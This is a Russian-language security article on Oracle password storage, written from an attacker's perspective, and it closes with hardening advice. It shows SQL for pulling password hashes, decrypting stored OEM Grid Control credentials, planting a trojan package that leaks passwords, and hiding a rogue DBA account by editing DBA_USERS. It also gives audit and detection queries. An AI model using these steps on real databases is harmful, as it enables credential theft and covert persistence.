Шифрование паролей в СУБД Oracle c точки зрения злоумышленника
Разведка паролей
Прежде, чем приступать к добыванию хеш-значений, лучше попробовать найти пароли сразу в открытом виде. Чаще всего пароли находятся в следующих местах:
-
На сервере
-
В файлах истории команд shell (bash_history)
-
В скриптах shell
-
В файлах логов
-
В двоичных дампах
-
В трассировочных файлах
-
-
В Application Server'е
-
В файлах конфигурации JDBC
-
В трассировочных файлах
-
-
На клиентских ПК
-
В ярлыках на рабочем столе
-
В командных файлах
-
В конфигурационных и инициализационных файлах ( connections.ini)
-
В трассировочных файлах
В виде хеш-значений пароли можно получить из следующих источников:
-
Из таблицы sys.user$. К этой таблице имеют доступ
-
все, кто обладают привилегией DBA
-
все, кто обладают привилегией SELECT ANY DICTIONARY
-
В версии 8i все, кто обладают привилегией SELECT ANY TABLE если значение параметра o7_dictionary_accessibility=true
-
-
Из табличного пространства SYSTEM (датафайл system01.dbf) Права на него по умолчанию rw-r----- т.е. читать может не только владелец-пользователь, но и вся и группа.
-
Из файла паролей orapwSID, который находится в каталоге $ORACLE_HOME/dbs, права на него также rw-r-----
-
Из файлов экспорта и бэкапов RMAN'a.
-
Из архивных логов
-
Из нешифрованного TNS трафика. Несмотря на то, что СУБД Oracle не передает пароль по сети в открытом виде, тем не менее, хеш пароля проходит по сети и может быть перехвачен злоумышленником. В ОС Солярис, это можно проверить, перехватывая все пакеты, исходящие с Вашего локального ПК и входящие на порт 1521 сервера:
snoop -vx from source_IP to dest_IP port 1521 > file
В Linux это можно проверить с помощью tcpdump.
Возможность шифрования трафика включена в опцию Oracle Advanced Security.
Типичные ошибки, относящиеся к паролям, укажут правильное направление атаки:
ORA_28000: The account is locked Логин заблокирован. |
Подождать в течение PASSWORD_LOCK_TIME и повторить попытку или попросить администратора сменить пароль |
ORA-28001: The password has expired Истек срок действия пароля. |
При возможности сменить пароль самостоятельно или обратиться за этим к администратору. |
ORA-00988: Missing or invalid password(s) Пароль не набран, либо набран неверно |
Используйте двойные кавычки, например alter user scott identified by "!alex" |
ORA-01017: Invalid username/password; logon denied Введен неверный логин или пароль, доступ запрещен. |
Проверьте правильность вводимых реквизитов. |
Доступ к хешам паролей через sys.user$
Пароли пользователей хранятся в таблице sys.user$, над которой построен ряд стандартных представлений. Как сама sys.user$, так и представления могут быть использованы для получения хешей паролей. Представление DBA_TAB_COLS позволяет найти такие столбцы:
SQL> select owner, table_name from dba_tab_cols where column_name = 'PASSWORD';
SYS USER$
SYS USER_HISTORY$
SYS LINK$
SYS KU$_ROLE_VIEW
SYS KU$_DBLINK_VIEW
SYS DBA_USERS
SYS KU$_10_1_DBLINK_VIEW
SYS KU$_USER_VIEW
SYS EXU8PHS
SYS USER_DB_LINKS
SYS EXU8ROL
SYS KU$_PSW_HIST_LIST_VIEW
WKSYS WK$_AUTHBASIC
WKSYS WK$AUTHBASIC
WKSYS WK$$AUTHBASIC
Потенциальными подозреваемыми будут аккаунты, имеющие доступ к этим столбцам.
Существует скрипт who_can_access.sql Питера Финигана (Pete Finnigan), позволяющий найти пользователей, имеющих доступ к этим объектам. Скрипт можно взять здесь.
Таким образом, можно определить пользователей, получивших права SELECT ANY DICTIONARY или SELECT ANY TABLE. Привилегия SELECT ANY TABLE работает только в случае если o7_dictionary_accessibilty=TRUE
Чтобы получать информацию о пользователях, обращавшихся к учетным записям можно включить аудит на DBA_USERS
SQL >audit SELECT on dba_users;
Audit succeeded.
Злоумышленник, тем не менее, может обратиться к таблице Sys.user$ напрямую, на которую аудит установить невозможно:
SQL >audit select on sys.user$;
audit select on sys.user$
*
ERROR at line 1:
ORA-00701: object necessary for warmstarting database cannot be altered
Но это единственная таблица, которой не повезло больше остальных. На остальные системные таблицы, содержащие столбец PASSWORD, аудит успешно устанавливается:
SQL >audit select on sys.link$;
Audit succeeded.
SQL >audit select on sys.user_history$;
Audit succeeded.
SQL >audit select on sys.dba_users;
Audit succeeded.
SQL >audit select on sys.KU$_ROLE_VIEW;
Audit succeeded.
SQL >audit select on sys.KU$_DBLINK_VIEW;
Audit succeeded.
SQL >audit select on sys.KU$_10_1_dblink_view;
Audit succeeded.
SQL >audit select on sys.KU$_USER_VIEW;
Audit succeeded.
SQL >audit select on sys.exu8phs;
Audit succeeded.
SQL >audit select on sys.user_db_links;
Audit succeeded.
SQL >audit select on sys.exu8rol;
Audit succeeded.
SQL >audit select on sys.KU$_psw_hist_list_view;
Audit succeeded.
Доступ к хешам через линки бд
В словаре БД имеются
USER_DB_LINKS |
Database links owned by the user |
ALL_DB_LINKS |
Database links accessible to the user |
DBA_DB_LINKS |
All database links in the database |
V$DBLINK |
Synonym for V_$DBLINK |
GV$DBLINK |
Synonym for GV_$DBLINK |
LINK$ |
таблица, на которую ссылаются все вышеприведенные представления. |
Представления DBA_DB_LINKS и ALL_DB_LINKS являются безопасными, потому что в них отсутствует информация о паролях. В остальных четырех таблицах поле пароля присутствует, что может служить источником утечки информации. Если в системе баз данных применяются линки, то злоумышленник, получивший доступ к одному серверу может переходить от одной базы данных к другой.
Подмена пакетов
Разрешение имен в БД Oracle производится в следующей последовательности:
-
Если имеется объект с таким названием в текущей схеме, то используется он
-
Если имеется приватный синоним с таким названием в текущей схеме, то используется он.
-
Если в БД имеется общедоступный синоним с таким названием, то используется он.
Описанная система имеет тот недостаток, что злоумышленник может произвести подмену пакетов, без ущерба для работоспособности объектов схемы. Для этого в текущей схеме создается новый пакет, с таким же именем, как и вызываемый (например, dbms_crypto), который делает некоторые дополнительные действия (например, вызов процедуры utl_http, utl_mail, utl_smtp и т.д.) а затем вызывает настоящий dbms_crypto. В результате пользователь может и не заметить подмены, компиляция всех объектов схемы будет происходить успешно, а пароли будут утекать в Интернет.
Пароли к схемам можно получить из файла логов http-web-access.log или путем включения трассировки
Бороться с подменой пакетом можно
-
путем полной адресации объекта, например
SQL > exec SYS.dbms_crypto …
-
также путем отнимания привилегий на потенциально опасные пакеты UTL_MAIL, UTL_SMTP, UTL_TCP, UTL_HTTP, UTL_FILE, DBMS_RANDOM:
-
REVOKE EXECUTE ON UTL_SMTP FROM PUBLIC;
-
REVOKE EXECUTE ON UTL_TCP FROM PUBLIC;
-
REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;
-
REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;
-
REVOKE EXECUTE ON DBMS_RANDOM FROM PUBLIC;
Обнаружение потенциальных злоумышленников производится запросом:
SELECT * FROM DBA_TAB_PRIVS
WHERE
PRIVILEGE = 'EXECUTE'
AND GRANTEE = 'PUBLIC'
AND TABLE_NAME IN('UTL_SMTP','UTL_TCP','UTL_HTTP','DBMS_RANDOM') ;
SELECT GRANTEE AS USERNAME, PRIVILEGE, ADMIN_OPTION
FROM DBA_SYS_PRIVS
WHERE
(
PRIVILEGE LIKE '% ANY %'
OR PRIVILEGE LIKE '%DATABASE LINK%'
OR PRIVILEGE LIKE '%UNLIMITED%'
OR PRIVILEGE = 'BECOME USER'
OR ADMIN_OPTION = 'YES'
)
AND GRANTEE NOT IN (
'SYS', 'SYSTEM', 'OUTLN', 'DBSNMP',
'DBA', 'CONNECT', 'RESOURCE',
'EXP_FULL_DATABASE', 'IMP_FULL_DATABASE',
'AQ_ADMINISTRATOR_ROLE', 'OEM_MONITOR', 'CTXSYS', 'IFSSYS',
'IFSSYS$CM', 'MDSYS', 'ORDPLUGINS', 'ORDSYS',
'TIMESERIES_DBA', 'WKSYS', 'SYSMAN', 'OLAPSYS',
'OLAP_DBA', 'EXFSYS', 'SCHEDULER_ADMIN', 'WMSYS',
'SI_INFORMTN_SCHEMA', 'JAVADEBUGPRIV', 'MDDATA',
'RECOVERY_CATALOG_OWNER'
)
AND GRANTEE NOT IN (
SELECT USERNAME
FROM DBA_USERS
WHERE ACCOUNT_STATUS != 'OPEN'
)
ORDER BY 1, 2 ;
А обнаружение потенциальных Троянов производится запросом:
SELECT * FROM DBA_SYNONYMS
WHERE OWNER = 'PUBLIC'
AND NOT TABLE_OWNER IN ('SYS','SYSMAN','SYSTEM','WMSYS','EXFSYS','ORDSYS','MDSYS', 'XDB');
Пароли в трассировочных файлах
Получить пользовательские пароли можно из трассировочных файлов.
Так, например, если установить трассировку пользовательской сессии, то можно увидеть, как пользователь выполняет:
SQL >alter system set wallet open identified by 'tiger';
В этот момент в трассировочном файле нечувствительно для работающего пользователя появляется:
=====================
PARSE ERROR #4:len=51 dep=0 uid=0 oct=49 lid=0 tim=536326851182 err=28357
alter system set wallet open identified by 'tiger'
=====================
Пароли и OEM Grid Control
OEM Grid Control - основное средство, предлагаемое корпорацией для мониторинга и управления базами данных Oracle. Этот инструмент способен мониторить и управлять не только БД, но и OAS, хосты и сети между всем этим, способен подключаться к металинку за новым ПО. OEM Grid Control (OEMGC) хранит
-
пароли к базам данных (системные пользователи, наделенные наиболее сильными привилегиями),
-
пароли к хостам (чтобы подключаться, когда БД не стартована)
-
логин и пароль на металинк.
Злоумышленник, получивший доступ к этому средству, автоматически получит информацию и средство управления всеми БД, листенерами, OAS'ами, хостами и доступом на металинк. Таким образом, OEM Grid Control - один из наиболее интересных для злоумышленника участков и наиболее сильная болевая точка ИС на основе Oracle.
OEMGC'у соответствует схема SYSMAN. Пароли хранятся в таблицах
-
MGMT_CREDENTIALS2,
-
MGMT_ARU_CREDENTIALS (металинк)
-
MGMT_VIEW_USER_CREDENTIALS.
Вообще-то, таблиц больше, чем три:
select object_name,object_type from dba_objects where object_name like '%CREDENTIAL%' and owner = 'SYSMAN'
OBJECT_NAME OBJECT_TYPE
----------------------------------- ------------
EM_CREDENTIAL PACKAGE
MGMT_CREDENTIAL PACKAGE
MGMT_ARU_CREDENTIALS TABLE
MGMT_COLLECTION_CREDENTIALS TABLE
MGMT_CONTAINER_CREDENTIALS TABLE
MGMT_CREDENTIALS TABLE
MGMT_CREDENTIALS2 TABLE
MGMT_CREDENTIAL_SETS TABLE
MGMT_CREDENTIAL_SET_COLUMNS TABLE
MGMT_CREDENTIAL_TYPES TABLE
MGMT_CREDENTIAL_TYPE_COLUMNS TABLE
MGMT_CREDENTIAL_TYPE_COL_VALS TABLE
MGMT_CREDENTIAL_TYPE_REF TABLE
MGMT_ENTERPRISE_CREDENTIALS TABLE
MGMT_HOST_CREDENTIALS TABLE
MGMT_JOB_CREDENTIALS TABLE
MGMT_TARGET_CREDENTIALS TABLE
MGMT_UPDATE_CREDENTIALS_DATA TABLE
MGMT_VIEW_USER_CREDENTIALS TABLE
Любой пользователь с правами DBA имеет доступ к этой информации. Узнать пароли можно так:
-
Логин + пароль для БД, ОС и листенера:
-
select credential_set_column, sysman.decrypt(credential_value)
-
from sysman.MGMT_CREDENTIALS2
-
Логин + Пароль на металинк:
-
select sysman.decrypt(aru_username),sysman.decrypt(aru_password)
from sysman.MGMT_ARU_CREDENTIALS
-
15-байтовое случайное число - пароль пользователя MGMT_VIEW, который используется для работы OEMGC, учетная запись создается как expired & locked:
-
select view_username,sysman.decrypt(view_password)
from sysman.MGMT_VIEW_USER_CREDENTIALS
Шифрование/расшифрование этих паролей производится командами sysman.encrypt() и sysman.decrypt(). В БД эти функции присутствуют в виде wrap-кода, но любой желающий может восстановить их текст с помощью трассировки. Рассмотрим их подробнее:
FUNCTION ENCRYPT( PLAIN_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS
CIPHER_TEXT RAW( 32767 );
BEGIN
CIPHER_TEXT := DBMS_CRYPTO.ENCRYPT(
SRC=>UTL_I18N.STRING_TO_RAW( PLAIN_TEXT, 'AL32UTF8' ),
TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5,
KEY=>GETEMKEY() );
RETURN RAWTOHEX( CIPHER_TEXT );
END;
FUNCTION DECRYPT( CIPHER_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS
RAW_TEXT RAW( 32767 );
BEGIN
RAW_TEXT := DBMS_CRYPTO.DECRYPT(
SRC=>HEXTORAW( CIPHER_TEXT ),
TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5,
KEY=>GETEMKEY() );
RETURN UTL_I18N.RAW_TO_CHAR( RAW_TEXT, 'AL32UTF8' );
END;
Функции sysman.encrypt() и sysman.decrypt() используют алгоритм 3DES в режиме СВС с дополнением строки до требуемой длины блока по методу PAD_PKCS5.
Принципиальным моментом в encrypt/decrypt является функция вызова ключа GETEMKEY(). Выглядит она примерно так:
FUNCTION GETEMKEY RETURN RAW IS DES_KEY RAW( 64 ) := NULL;
BEGIN
SELECT SEED INTO DES_KEY FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1;
RETURN ( DES_KEY );
END;
Так какой это ключ? Вот какой:
SELECT SEED FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1;
Таблица MGMT_EMCRYPTO_SEED состоит из одного столбца и одной строки и содержит, по-видимому, случайное для каждой БД число. Таким образом, ключ является константой.
SQL >desc sysman.MGMT_EMCRYPTO_SEED
Name Null? Type
----------------------------------------- -------- ------------
SEED RAW(64)
SQL >select * from sysman.MGMT_EMCRYPTO_SEED;
SEED
----------------------------------------------------------------
1FCFB6FBD7E14B384C3EDB7B8694EA891FCFB6FBD7E14B384C3EDB7B8694EA89
1 row selected.
Выводы:
-
ключ хранится в БД в открытом виде в таблице MGMT_EMCRYPTO_SEED.
-
для шифрования используются общедоступные функции encrypt/decrypt.
-
кто имеет доступ к словарю БД, тот имеет большой доступ ко всему остальному.
-
на три таблицы можно установить аудит.
Внедрение скрытого пользователя
SQL> Create user hacker identified by hacker;
SQL> Grant DBA to hacker;
SQL> Select username from dba_users;
SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
HACKER
Затем добавляем в представление DBA_USERS (например, с помощью TOAD) одну строку "and u.name!='HACKER'", как показано на рисунке.
В результате в БД имеется скрытый пользователь, не обнаруживаемый обычными запросами.
Рекомендации по повышению безопасности
С учетом результатов данной статьи становится понятно, что в системах с повышенными требованиями к безопасности для обеспечения надежной аутентификации следует использовать более сильные средства, чем парольная защита СУБД Oracle. Рекомендации естественно вытекают из описанных выше уязвимостей.
-
Придерживаться принципа минимума привилегий при назначении ролей и выдаче привилегий.
-
Усилить политику безопасности при выборе паролей, ограничив снизу минимальную длину пароля 10-12 знаками. Эти действия реализуются путем настройки профиля и выполнения скрипта utlpwdmg.sql. Скрипт utlpwdmg.sql рекомендуется изменить, с тем, чтобы применять в нем свои технологии генерации паролей.
-
Запретить удаленное подключение как DBA (файл init.ora, spfile.ora).
remote_os_authentication=FALSE
-
Несмотря на наличие бреши, связанной с sys.user$, установить аудит SELECT-выражений выполняемых над таблицами, содержащими столбец PASSWORD:
-
audit select on sys.link$;
-
audit select on sys.user_history$;
-
audit select on sys.dba_users;
-
audit select on sys.KU$_ROLE_VIEW;
-
audit select on sys.KU$_DBLINK_VIEW;
-
audit select on sys.KU$_10_1_dblink_view;
-
audit select on sys.KU$_USER_VIEW;
-
audit select on sys.exu8phs;
-
audit select on sys.user_db_links;
-
audit select on sys.exu8rol;
-
audit select on sys.KU$_psw_hist_list_view;
-
Настройка IP-адресов, с которых возможно подключение к БД (файлы sqlnet.ora, protocol.ora):
-
tcp.validnode_checking = YES
-
tcp.excluded_nodes = {list of IP addresses} - список запрещенных IP-адресов
-
tcp.invited_nodes = {list of IP addresses} - список разрешенных IP-адресов
-
Настроить шифрование TNS-трафика. Использовать создание защищенного канала при установке соединения, например, алгоритм Диффи-Хеллмана.
-
В ОС Unix настроить список IP-адресов, с которых возможно подключение к серверу:
файлы hosts.allow, hosts.deny
-
Обеспечить подключение к серверу только по SSH.
-
Максимально ограничить доступ потенциального злоумышленника к хешам паролей.
Настроить права на файл паролей pwSID.ora и файл system.dbf так, чтобы исключить доступ всех пользователей, кроме владельца софта (обычно это учетная запись oracle в ОС). Т.е. члены группы dba не смогут просмотреть этот файл.
-
Настройка аудита в ОС.
-
В системах с повышенными требованиями к безопасности следует обратить внимание на привилегии пользователей, которые имеют доступ к БД через Интернет и не использовать привилегированных пользователей для web-приложений.
-
Не забывать про важность организационных мер (ограничение круга лиц, которые имеют доступ к серверу и ОС, к root, к бэкапам, подписка о неразглашении, меры наказания), которые являются не менее серьезным барьером, чем парольная защита.